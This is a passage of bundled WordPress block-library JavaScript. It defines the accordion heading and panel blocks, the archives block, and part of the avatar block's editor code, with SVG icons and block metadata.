2515 }
2516 }
2517 ),
2518 showIcon && iconPosition === "right" && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
2519 "span",
2520 {
2521 className: "wp-block-accordion-heading__toggle-icon",
2522 "aria-hidden": "true",
2523 children: "+"
2524 }
2525 )
2526 ]
2527 }
2528 ) });
2529}
2530
2531
2532;// ./node_modules/@wordpress/block-library/build-module/accordion-heading/block.json
2533const accordion_heading_block_namespaceObject = /*#__PURE__*/JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":3,"name":"core/accordion-heading","title":"Accordion Heading","category":"design","description":"Displays a heading that toggles the accordion panel.","parent":["core/accordion-item"],"usesContext":["core/accordion-icon-position","core/accordion-show-icon","core/accordion-heading-level"],"supports":{"anchor":true,"color":{"background":true,"gradients":true},"align":false,"interactivity":true,"spacing":{"padding":true,"__experimentalDefaultControls":{"padding":true},"__experimentalSkipSerialization":true,"__experimentalSelector":".wp-block-accordion-heading__toggle"},"__experimentalBorder":{"color":true,"radius":true,"style":true,"width":true,"__experimentalDefaultControls":{"color":true,"radius":true,"style":true,"width":true}},"typography":{"__experimentalSkipSerialization":["textDecoration","letterSpacing"],"fontSize":true,"__experimentalFontFamily":true,"__experimentalFontWeight":true,"__experimentalFontStyle":true,"__experimentalTextTransform":true,"__experimentalTextDecoration":true,"__experimentalLetterSpacing":true,"__experimentalDefaultControls":{"fontSize":true,"fontFamily":true}},"shadow":true,"visibility":false,"lock":false},"selectors":{"typography":{"letterSpacing":".wp-block-accordion-heading .wp-block-accordion-heading__toggle-title","textDecoration":".wp-block-accordion-heading .wp-block-accordion-heading__toggle-title"}},"attributes":{"openByDefault":{"type":"boolean","default":false},"title":{"type":"rich-text","source":"rich-text","selector":".wp-block-accordion-heading__toggle-title","role":"content"},"level":{"type":"number"},"iconPosition":{"type":"string","enum":["left","right"],"default":"right"},"showIcon":{"type":"boolean","default":true}},"textdomain":"default"}');
2534;// ./node_modules/@wordpress/block-library/build-module/accordion-heading/icon.js
2535
2536
2537var accordion_heading_icon_icon_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: [
2538 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
2539 external_wp_primitives_namespaceObject.Path,
2540 {
2541 fillRule: "evenodd",
2542 clipRule: "evenodd",
2543 d: "M19.5 12.75L9.5 12.75L9.5 11.25L19.5 11.25L19.5 12.75Z",
2544 fill: "currentColor"
2545 }
2546 ),
2547 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M4.5 9.5L8.5 12L4.5 14.5L4.5 9.5Z", fill: "currentColor" })
2548] });
2549
2550
2551;// ./node_modules/@wordpress/block-library/build-module/accordion-heading/deprecated.js
2552
2553
2554const v1 = {
2555 attributes: {
2556 openByDefault: {
2557 type: "boolean",
2558 default: false
2559 },
2560 title: {
2561 type: "rich-text",
2562 source: "rich-text",
2563 selector: ".wp-block-accordion-heading__toggle-title",
2564 role: "content"
2565 },
2566 level: {
2567 type: "number"
2568 },
2569 iconPosition: {
2570 type: "string",
2571 enum: ["left", "right"],
2572 default: "right"
2573 },
2574 showIcon: {
2575 type: "boolean",
2576 default: true
2577 }
2578 },
2579 supports: {
2580 anchor: true,
2581 color: {
2582 background: true,
2583 gradients: true
2584 },
2585 align: false,
2586 interactivity: true,
2587 spacing: {
2588 padding: true,
2589 __experimentalDefaultControls: {
2590 padding: true
2591 },
2592 __experimentalSkipSerialization: true,
2593 __experimentalSelector: ".wp-block-accordion-heading__toggle"
2594 },
2595 __experimentalBorder: {
2596 color: true,
2597 radius: true,
2598 style: true,
2599 width: true,
2600 __experimentalDefaultControls: {
2601 color: true,
2602 radius: true,
2603 style: true,
2604 width: true
2605 }
2606 },
2607 typography: {
2608 fontSize: true,
2609 __experimentalFontFamily: true,
2610 __experimentalFontWeight: true,
2611 __experimentalFontStyle: true,
2612 __experimentalTextTransform: true,
2613 __experimentalTextDecoration: true,
2614 __experimentalLetterSpacing: true,
2615 __experimentalDefaultControls: {
2616 fontSize: true,
2617 fontFamily: true
2618 }
2619 },
2620 shadow: true,
2621 visibility: false
2622 },
2623 save({ attributes }) {
2624 const { level, title, iconPosition, showIcon } = attributes;
2625 const TagName = "h" + (level || 3);
2626 const blockProps = external_wp_blockEditor_namespaceObject.useBlockProps.save();
2627 const spacingProps = (0,external_wp_blockEditor_namespaceObject.__experimentalGetSpacingClassesAndStyles)(attributes);
2628 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(TagName, { ...blockProps, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
2629 "button",
2630 {
2631 className: "wp-block-accordion-heading__toggle",
2632 style: spacingProps.style,
2633 children: [
2634 showIcon && iconPosition === "left" && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
2635 "span",
2636 {
2637 className: "wp-block-accordion-heading__toggle-icon",
2638 "aria-hidden": "true",
2639 children: "+"
2640 }
2641 ),
2642 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
2643 external_wp_blockEditor_namespaceObject.RichText.Content,
2644 {
2645 className: "wp-block-accordion-heading__toggle-title",
2646 tagName: "span",
2647 value: title
2648 }
2649 ),
2650 showIcon && iconPosition === "right" && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
2651 "span",
2652 {
2653 className: "wp-block-accordion-heading__toggle-icon",
2654 "aria-hidden": "true",
2655 children: "+"
2656 }
2657 )
2658 ]
2659 }
2660 ) });
2661 }
2662};
2663const v2 = {
2664 attributes: {
2665 openByDefault: {
2666 type: "boolean",
2667 default: false
2668 },
2669 title: {
2670 type: "rich-text",
2671 source: "rich-text",
2672 selector: ".wp-block-accordion-heading__toggle-title",
2673 role: "content"
2674 },
2675 level: {
2676 type: "number"
2677 },
2678 iconPosition: {
2679 type: "string",
2680 enum: ["left", "right"],
2681 default: "right"
2682 },
2683 showIcon: {
2684 type: "boolean",
2685 default: true
2686 }
2687 },
2688 supports: {
2689 anchor: true,
2690 color: {
2691 background: true,
2692 gradients: true
2693 },
2694 align: false,
2695 interactivity: true,
2696 spacing: {
2697 padding: true,
2698 __experimentalDefaultControls: {
2699 padding: true
2700 },
2701 __experimentalSkipSerialization: true,
2702 __experimentalSelector: ".wp-block-accordion-heading__toggle"
2703 },
2704 __experimentalBorder: {
2705 color: true,
2706 radius: true,
2707 style: true,
2708 width: true,
2709 __experimentalDefaultControls: {
2710 color: true,
2711 radius: true,
2712 style: true,
2713 width: true
2714 }
2715 },
2716 typography: {
2717 __experimentalSkipSerialization: [
2718 "textDecoration",
2719 "letterSpacing"
2720 ],
2721 fontSize: true,
2722 __experimentalFontFamily: true,
2723 __experimentalFontWeight: true,
2724 __experimentalFontStyle: true,
2725 __experimentalTextTransform: true,
2726 __experimentalTextDecoration: true,
2727 __experimentalLetterSpacing: true,
2728 __experimentalDefaultControls: {
2729 fontSize: true,
2730 fontFamily: true
2731 }
2732 },
2733 shadow: true,
2734 visibility: false,
2735 lock: false
2736 },
2737 save({ attributes }) {
2738 const { level, title, iconPosition, showIcon } = attributes;
2739 const TagName = "h" + (level || 3);
2740 const typographyProps = (0,external_wp_blockEditor_namespaceObject.getTypographyClassesAndStyles)(attributes);
2741 const blockProps = external_wp_blockEditor_namespaceObject.useBlockProps.save();
2742 const spacingProps = (0,external_wp_blockEditor_namespaceObject.__experimentalGetSpacingClassesAndStyles)(attributes);
2743 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(TagName, { ...blockProps, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
2744 "button",
2745 {
2746 className: "wp-block-accordion-heading__toggle",
2747 style: spacingProps.style,
2748 children: [
2749 showIcon && iconPosition === "left" && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
2750 "span",
2751 {
2752 className: "wp-block-accordion-heading__toggle-icon",
2753 "aria-hidden": "true",
2754 children: "+"
2755 }
2756 ),
2757 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
2758 external_wp_blockEditor_namespaceObject.RichText.Content,
2759 {
2760 className: "wp-block-accordion-heading__toggle-title",
2761 tagName: "span",
2762 value: title,
2763 style: {
2764 letterSpacing: typographyProps.style.letterSpacing,
2765 textDecoration: typographyProps.style.textDecoration
2766 }
2767 }
2768 ),
2769 showIcon && iconPosition === "right" && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
2770 "span",
2771 {
2772 className: "wp-block-accordion-heading__toggle-icon",
2773 "aria-hidden": "true",
2774 children: "+"
2775 }
2776 )
2777 ]
2778 }
2779 ) });
2780 }
2781};
2782var deprecated_default = [v1, v2];
2783
2784
2785;// ./node_modules/@wordpress/block-library/build-module/accordion-heading/index.js
2786
2787
2788
2789
2790
2791
2792const { name: accordion_heading_name } = accordion_heading_block_namespaceObject;
2793const accordion_heading_settings = {
2794 icon: accordion_heading_icon_icon_default,
2795 edit: accordion_heading_edit_Edit,
2796 save: accordion_heading_save_save,
2797 deprecated: deprecated_default
2798};
2799const accordion_heading_init = () => initBlock({ name: accordion_heading_name, metadata: accordion_heading_block_namespaceObject, settings: accordion_heading_settings });
2800
2801
2802;// ./node_modules/@wordpress/block-library/build-module/accordion-panel/edit.js
2803
2804
2805function accordion_panel_edit_Edit({ attributes }) {
2806 const { allowedBlocks, templateLock, openByDefault, isSelected } = attributes;
2807 const blockProps = (0,external_wp_blockEditor_namespaceObject.useBlockProps)({
2808 "aria-hidden": !isSelected && !openByDefault,
2809 role: "region"
2810 });
2811 const innerBlocksProps = (0,external_wp_blockEditor_namespaceObject.useInnerBlocksProps)(blockProps, {
2812 allowedBlocks,
2813 template: [["core/paragraph", {}]],
2814 templateLock
2815 });
2816 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { ...innerBlocksProps });
2817}
2818
2819
2820;// ./node_modules/@wordpress/block-library/build-module/accordion-panel/save.js
2821
2822
2823function accordion_panel_save_save() {
2824 const blockProps = external_wp_blockEditor_namespaceObject.useBlockProps.save({
2825 role: "region"
2826 });
2827 const innerBlocksProps = external_wp_blockEditor_namespaceObject.useInnerBlocksProps.save(blockProps);
2828 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { ...innerBlocksProps });
2829}
2830
2831
2832;// ./node_modules/@wordpress/block-library/build-module/accordion-panel/block.json
2833const accordion_panel_block_namespaceObject = /*#__PURE__*/JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":3,"name":"core/accordion-panel","title":"Accordion Panel","category":"design","description":"Contains the hidden or revealed content beneath the heading.","parent":["core/accordion-item"],"supports":{"html":false,"color":{"background":true,"gradients":true},"interactivity":true,"spacing":{"padding":true,"blockGap":true,"__experimentalDefaultControls":{"padding":true,"blockGap":true}},"__experimentalBorder":{"color":true,"radius":true,"style":true,"width":true,"__experimentalDefaultControls":{"color":true,"radius":true,"style":true,"width":true}},"typography":{"fontSize":true,"lineHeight":true,"__experimentalFontFamily":true,"__experimentalFontWeight":true,"__experimentalFontStyle":true,"__experimentalTextTransform":true,"__experimentalTextDecoration":true,"__experimentalLetterSpacing":true,"__experimentalDefaultControls":{"fontSize":true}},"shadow":true,"layout":{"allowEditing":false},"visibility":false,"contentRole":true,"allowedBlocks":true,"lock":false},"attributes":{"templateLock":{"type":["string","boolean"],"enum":["all","insert","contentOnly",false],"default":false},"openByDefault":{"type":"boolean","default":false},"isSelected":{"type":"boolean","default":false}},"textdomain":"default","style":"wp-block-accordion-panel"}');
2834;// ./node_modules/@wordpress/block-library/build-module/accordion-panel/icon.js
2835
2836
2837var accordion_panel_icon_icon_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
2838 external_wp_primitives_namespaceObject.Path,
2839 {
2840 fillRule: "evenodd",
2841 clipRule: "evenodd",
2842 d: "M8.10417 6.00024H6.5C5.39543 6.00024 4.5 6.89567 4.5 8.00024V10.3336H6V8.00024C6 7.7241 6.22386 7.50024 6.5 7.50024H8.10417V6.00024ZM4.5 13.6669V16.0002C4.5 17.1048 5.39543 18.0002 6.5 18.0002H8.10417V16.5002H6.5C6.22386 16.5002 6 16.2764 6 16.0002V13.6669H4.5ZM10.3958 6.00024V7.50024H13.6042V6.00024H10.3958ZM15.8958 6.00024V7.50024H17.5C17.7761 7.50024 18 7.7241 18 8.00024V10.3336H19.5V8.00024C19.5 6.89567 18.6046 6.00024 17.5 6.00024H15.8958ZM19.5 13.6669H18V16.0002C18 16.2764 17.7761 16.5002 17.5 16.5002H15.8958V18.0002H17.5C18.6046 18.0002 19.5 17.1048 19.5 16.0002V13.6669ZM13.6042 18.0002V16.5002H10.3958V18.0002H13.6042Z",
2843 fill: "currentColor"
2844 }
2845) });
2846
2847
2848;// ./node_modules/@wordpress/block-library/build-module/accordion-panel/index.js
2849
2850
2851
2852
2853
2854const { name: accordion_panel_name } = accordion_panel_block_namespaceObject;
2855const accordion_panel_settings = {
2856 icon: accordion_panel_icon_icon_default,
2857 edit: accordion_panel_edit_Edit,
2858 save: accordion_panel_save_save
2859};
2860const accordion_panel_init = () => initBlock({ name: accordion_panel_name, metadata: accordion_panel_block_namespaceObject, settings: accordion_panel_settings });
2861
2862
2863;// ./node_modules/@wordpress/icons/build-module/library/archive.js
2864
2865
2866var archive_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { viewBox: "0 0 24 24", xmlns: "http://www.w3.org/2000/svg", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
2867 external_wp_primitives_namespaceObject.Path,
2868 {
2869 fillRule: "evenodd",
2870 clipRule: "evenodd",
2871 d: "M11.934 7.406a1 1 0 0 0 .914.594H19a.5.5 0 0 1 .5.5v9a.5.5 0 0 1-.5.5H5a.5.5 0 0 1-.5-.5V6a.5.5 0 0 1 .5-.5h5.764a.5.5 0 0 1 .447.276l.723 1.63Zm1.064-1.216a.5.5 0 0 0 .462.31H19a2 2 0 0 1 2 2v9a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2V6a2 2 0 0 1 2-2h5.764a2 2 0 0 1 1.789 1.106l.445 1.084ZM8.5 10.5h7V12h-7v-1.5Zm7 3.5h-7v1.5h7V14Z"
2872 }
2873) });
2874
2875
2876;// ./node_modules/@wordpress/block-library/build-module/archives/block.json
2877const archives_block_namespaceObject = /*#__PURE__*/JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":3,"name":"core/archives","title":"Archives","category":"widgets","description":"Display a date archive of your posts.","textdomain":"default","attributes":{"displayAsDropdown":{"type":"boolean","default":false},"showLabel":{"type":"boolean","default":true},"showPostCounts":{"type":"boolean","default":false},"type":{"type":"string","default":"monthly"}},"supports":{"align":true,"__experimentalBorder":{"radius":true,"color":true,"width":true,"style":true},"html":false,"spacing":{"margin":true,"padding":true,"__experimentalDefaultControls":{"margin":false,"padding":false}},"typography":{"fontSize":true,"lineHeight":true,"__experimentalFontFamily":true,"__experimentalFontWeight":true,"__experimentalFontStyle":true,"__experimentalTextTransform":true,"__experimentalTextDecoration":true,"__experimentalLetterSpacing":true,"__experimentalDefaultControls":{"fontSize":true}},"color":{"gradients":true,"link":true,"__experimentalDefaultControls":{"background":true,"text":true,"link":true}},"interactivity":{"clientNavigation":true}},"editorStyle":"wp-block-archives-editor"}');
2878;// ./node_modules/@wordpress/block-library/build-module/archives/edit.js
2879
2880
2881
2882
2883
2884
2885function ArchivesEdit({ attributes, setAttributes }) {
2886 const { showLabel, showPostCounts, displayAsDropdown, type } = attributes;
2887 const dropdownMenuProps = useToolsPanelDropdownMenuProps();
2888 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
2889 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.InspectorControls, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
2890 external_wp_components_namespaceObject.__experimentalToolsPanel,
2891 {
2892 label: (0,external_wp_i18n_namespaceObject.__)("Settings"),
2893 resetAll: () => {
2894 setAttributes({
2895 displayAsDropdown: false,
2896 showLabel: true,
2897 showPostCounts: false,
2898 type: "monthly"
2899 });
2900 },
2901 dropdownMenuProps,
2902 children: [
2903 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
2904 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
2905 {
2906 label: (0,external_wp_i18n_namespaceObject.__)("Display as dropdown"),
2907 isShownByDefault: true,
2908 hasValue: () => displayAsDropdown,
2909 onDeselect: () => setAttributes({ displayAsDropdown: false }),
2910 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
2911 external_wp_components_namespaceObject.ToggleControl,
2912 {
2913 __nextHasNoMarginBottom: true,
2914 label: (0,external_wp_i18n_namespaceObject.__)("Display as dropdown"),
2915 checked: displayAsDropdown,
2916 onChange: () => setAttributes({
2917 displayAsDropdown: !displayAsDropdown
2918 })
2919 }
2920 )
2921 }
2922 ),
2923 displayAsDropdown && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
2924 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
2925 {
2926 label: (0,external_wp_i18n_namespaceObject.__)("Show label"),
2927 isShownByDefault: true,
2928 hasValue: () => !showLabel,
2929 onDeselect: () => setAttributes({ showLabel: true }),
2930 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
2931 external_wp_components_namespaceObject.ToggleControl,
2932 {
2933 __nextHasNoMarginBottom: true,
2934 label: (0,external_wp_i18n_namespaceObject.__)("Show label"),
2935 checked: showLabel,
2936 onChange: () => setAttributes({
2937 showLabel: !showLabel
2938 })
2939 }
2940 )
2941 }
2942 ),
2943 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
2944 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
2945 {
2946 label: (0,external_wp_i18n_namespaceObject.__)("Show post counts"),
2947 isShownByDefault: true,
2948 hasValue: () => showPostCounts,
2949 onDeselect: () => setAttributes({ showPostCounts: false }),
2950 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
2951 external_wp_components_namespaceObject.ToggleControl,
2952 {
2953 __nextHasNoMarginBottom: true,
2954 label: (0,external_wp_i18n_namespaceObject.__)("Show post counts"),
2955 checked: showPostCounts,
2956 onChange: () => setAttributes({
2957 showPostCounts: !showPostCounts
2958 })
2959 }
2960 )
2961 }
2962 ),
2963 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
2964 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
2965 {
2966 label: (0,external_wp_i18n_namespaceObject.__)("Group by"),
2967 isShownByDefault: true,
2968 hasValue: () => type !== "monthly",
2969 onDeselect: () => setAttributes({ type: "monthly" }),
2970 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
2971 external_wp_components_namespaceObject.SelectControl,
2972 {
2973 __next40pxDefaultSize: true,
2974 __nextHasNoMarginBottom: true,
2975 label: (0,external_wp_i18n_namespaceObject.__)("Group by"),
2976 options: [
2977 { label: (0,external_wp_i18n_namespaceObject.__)("Year"), value: "yearly" },
2978 { label: (0,external_wp_i18n_namespaceObject.__)("Month"), value: "monthly" },
2979 { label: (0,external_wp_i18n_namespaceObject.__)("Week"), value: "weekly" },
2980 { label: (0,external_wp_i18n_namespaceObject.__)("Day"), value: "daily" }
2981 ],
2982 value: type,
2983 onChange: (value) => setAttributes({ type: value })
2984 }
2985 )
2986 }
2987 )
2988 ]
2989 }
2990 ) }),
2991 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { ...(0,external_wp_blockEditor_namespaceObject.useBlockProps)(), children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Disabled, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
2992 (external_wp_serverSideRender_default()),
2993 {
2994 block: "core/archives",
2995 skipBlockSupportAttributes: true,
2996 attributes
2997 }
2998 ) }) })
2999 ] });
3000}
3001
3002
3003;// ./node_modules/@wordpress/block-library/build-module/archives/index.js
3004
3005
3006
3007
3008const { name: archives_name } = archives_block_namespaceObject;
3009const archives_settings = {
3010 icon: archive_default,
3011 example: {},
3012 edit: ArchivesEdit
3013};
3014const archives_init = () => initBlock({ name: archives_name, metadata: archives_block_namespaceObject, settings: archives_settings });
3015
3016
3017;// ./node_modules/@wordpress/icons/build-module/library/comment-author-avatar.js
3018
3019
3020var comment_author_avatar_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
3021 external_wp_primitives_namespaceObject.Path,
3022 {
3023 fillRule: "evenodd",
3024 d: "M7.25 16.437a6.5 6.5 0 1 1 9.5 0V16A2.75 2.75 0 0 0 14 13.25h-4A2.75 2.75 0 0 0 7.25 16v.437Zm1.5 1.193a6.47 6.47 0 0 0 3.25.87 6.47 6.47 0 0 0 3.25-.87V16c0-.69-.56-1.25-1.25-1.25h-4c-.69 0-1.25.56-1.25 1.25v1.63ZM4 12a8 8 0 1 1 16 0 8 8 0 0 1-16 0Zm10-2a2 2 0 1 1-4 0 2 2 0 0 1 4 0Z",
3025 clipRule: "evenodd"
3026 }
3027) });
3028
3029
3030;// ./node_modules/@wordpress/block-library/build-module/avatar/block.json
3031const avatar_block_namespaceObject = /*#__PURE__*/JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":3,"name":"core/avatar","title":"Avatar","category":"theme","description":"Add a user’s avatar.","textdomain":"default","attributes":{"userId":{"type":"number"},"size":{"type":"number","default":96},"isLink":{"type":"boolean","default":false},"linkTarget":{"type":"string","default":"_self"}},"usesContext":["postType","postId","commentId"],"supports":{"html":false,"align":true,"alignWide":false,"spacing":{"margin":true,"padding":true,"__experimentalDefaultControls":{"margin":false,"padding":false}},"__experimentalBorder":{"__experimentalSkipSerialization":true,"radius":true,"width":true,"color":true,"style":true,"__experimentalDefaultControls":{"radius":true}},"color":{"text":false,"background":false},"filter":{"duotone":true},"interactivity":{"clientNavigation":true}},"selectors":{"border":".wp-block-avatar img","filter":{"duotone":".wp-block-avatar img"}},"editorStyle":"wp-block-avatar-editor","style":"wp-block-avatar"}');
3032;// external ["wp","url"]
3033const external_wp_url_namespaceObject = window["wp"]["url"];
3034;// ./node_modules/@wordpress/block-library/build-module/avatar/hooks.js
3035
3036
3037
3038
3039function getAvatarSizes(sizes) {
3040 const minSize = sizes ? sizes[0] : 24;
3041 const maxSize = sizes ? sizes[sizes.length - 1] : 96;
3042 const maxSizeBuffer = Math.floor(maxSize * 2.5);
3043 return {
3044 minSize,
3045 maxSize: maxSizeBuffer
3046 };
3047}
3048function useCommentAvatar({ commentId }) {
3049 const [avatars] = (0,external_wp_coreData_namespaceObject.useEntityProp)(
3050 "root",
3051 "comment",
3052 "author_avatar_urls",
3053 commentId
3054 );
3055 const [authorName] = (0,external_wp_coreData_namespaceObject.useEntityProp)(
3056 "root",
3057 "comment",
3058 "author_name",
3059 commentId
3060 );
3061 const avatarUrls = avatars ? Object.values(avatars) : null;
3062 const sizes = avatars ? Object.keys(avatars) : null;
3063 const { minSize, maxSize } = getAvatarSizes(sizes);
3064 const defaultAvatar = useDefaultAvatar();
3065 return {
3066 src: avatarUrls ? avatarUrls[avatarUrls.length - 1] : defaultAvatar,
3067 minSize,
3068 maxSize,
3069 alt: authorName ? (
3070 // translators: %s: Author name.
3071 (0,external_wp_i18n_namespaceObject.sprintf)((0,external_wp_i18n_namespaceObject.__)("%s Avatar"), authorName)
3072 ) : (0,external_wp_i18n_namespaceObject.__)("Default Avatar")
3073 };
3074}
3075function useUserAvatar({ userId, postId, postType }) {
3076 const { authorDetails } = (0,external_wp_data_namespaceObject.useSelect)(
3077 (select) => {
3078 const { getEditedEntityRecord, getUser } = select(external_wp_coreData_namespaceObject.store);
3079 if (userId) {
3080 return {
3081 authorDetails: getUser(userId)
3082 };
3083 }
3084 const _authorId = getEditedEntityRecord(
3085 "postType",
3086 postType,
3087 postId
3088 )?.author;
3089 return {
3090 authorDetails: _authorId ? getUser(_authorId) : null
3091 };
3092 },
3093 [postType, postId, userId]
3094 );
3095 const avatarUrls = authorDetails?.avatar_urls ? Object.values(authorDetails.avatar_urls) : null;
3096 const sizes = authorDetails?.avatar_urls ? Object.keys(authorDetails.avatar_urls) : null;
3097 const { minSize, maxSize } = getAvatarSizes(sizes);
3098 const defaultAvatar = useDefaultAvatar();
3099 return {
3100 src: avatarUrls ? avatarUrls[avatarUrls.length - 1] : defaultAvatar,
3101 minSize,
3102 maxSize,
3103 alt: authorDetails ? (
3104 // translators: %s: Author name.
3105 (0,external_wp_i18n_namespaceObject.sprintf)((0,external_wp_i18n_namespaceObject.__)("%s Avatar"), authorDetails?.name)
3106 ) : (0,external_wp_i18n_namespaceObject.__)("Default Avatar")
3107 };
3108}
3109
3110
3111;// external ["wp","htmlEntities"]
3112const external_wp_htmlEntities_namespaceObject = window["wp"]["htmlEntities"];
3113;// ./node_modules/@wordpress/block-library/build-module/avatar/user-control.js
3114
3115
3116
3117
3118
3119
3120
3121
3122const AUTHORS_QUERY = {
3123 who: "authors",
3124 per_page: 100,
3125 _fields: "id,name",
3126 context: "view"
3127};
3128function UserControl({ value, onChange }) {
3129 const [filterValue, setFilterValue] = (0,external_wp_element_namespaceObject.useState)("");
3130 const { authors, isLoading } = (0,external_wp_data_namespaceObject.useSelect)(
3131 (select) => {
3132 const { getUsers, isResolving } = select(external_wp_coreData_namespaceObject.store);
3133 const query = { ...AUTHORS_QUERY };
3134 if (filterValue) {
3135 query.search = filterValue;
3136 query.search_columns = ["name"];
3137 }
3138 return {
3139 authors: getUsers(query),
3140 isLoading: isResolving("getUsers", [query])
3141 };
3142 },
3143 [filterValue]
3144 );
3145 const options = (0,external_wp_element_namespaceObject.useMemo)(() => {
3146 return (authors ?? []).map((author) => {
3147 return {
3148 value: author.id,
3149 label: (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(author.name)
3150 };
3151 });
3152 }, [authors]);
3153 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
3154 external_wp_components_namespaceObject.ComboboxControl,
3155 {
3156 __next40pxDefaultSize: true,
3157 __nextHasNoMarginBottom: true,
3158 label: (0,external_wp_i18n_namespaceObject.__)("User"),
3159 help: (0,external_wp_i18n_namespaceObject.__)(
3160 "Select the avatar user to display, if it is blank it will use the post/page author."
3161 ),
3162 value,
3163 onChange,
3164 options,
3165 onFilterValueChange: (0,external_wp_compose_namespaceObject.debounce)(setFilterValue, 300),
3166 isLoading
3167 }
3168 );
3169}
3170
3171
3172;// ./node_modules/@wordpress/block-library/build-module/avatar/edit.js
3173
3174
3175
3176
3177
3178
3179
3180
3181
3182const AvatarInspectorControls = ({
3183 setAttributes,
3184 avatar,
3185 attributes,
3186 selectUser
3187}) => {
3188 const dropdownMenuProps = useToolsPanelDropdownMenuProps();
3189 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.InspectorControls, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
3190 external_wp_components_namespaceObject.__experimentalToolsPanel,
3191 {
3192 label: (0,external_wp_i18n_namespaceObject.__)("Settings"),
3193 resetAll: () => {
3194 setAttributes({
3195 size: 96,
3196 isLink: false,
3197 linkTarget: "_self",
3198 userId: void 0
3199 });
3200 },
3201 dropdownMenuProps,
3202 children: [
3203 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
3204 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
3205 {
3206 label: (0,external_wp_i18n_namespaceObject.__)("Image size"),
3207 isShownByDefault: true,
3208 hasValue: () => attributes?.size !== 96,
3209 onDeselect: () => setAttributes({ size: 96 }),
3210 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
3211 external_wp_components_namespaceObject.RangeControl,
3212 {
3213 __nextHasNoMarginBottom: true,
3214 __next40pxDefaultSize: true,
3215 label: (0,external_wp_i18n_namespaceObject.__)("Image size"),
3216 onChange: (newSize) => setAttributes({
3217 size: newSize
3218 }),
3219 min: avatar.minSize,
3220 max: avatar.maxSize,
3221 initialPosition: attributes?.size,
3222 value: attributes?.size
3223 }
3224 )
3225 }
3226 ),
3227 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
3228 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
3229 {
3230 label: (0,external_wp_i18n_namespaceObject.__)("Link to user profile"),
3231 isShownByDefault: true,
3232 hasValue: () => attributes?.isLink,
3233 onDeselect: () => setAttributes({ isLink: false }),
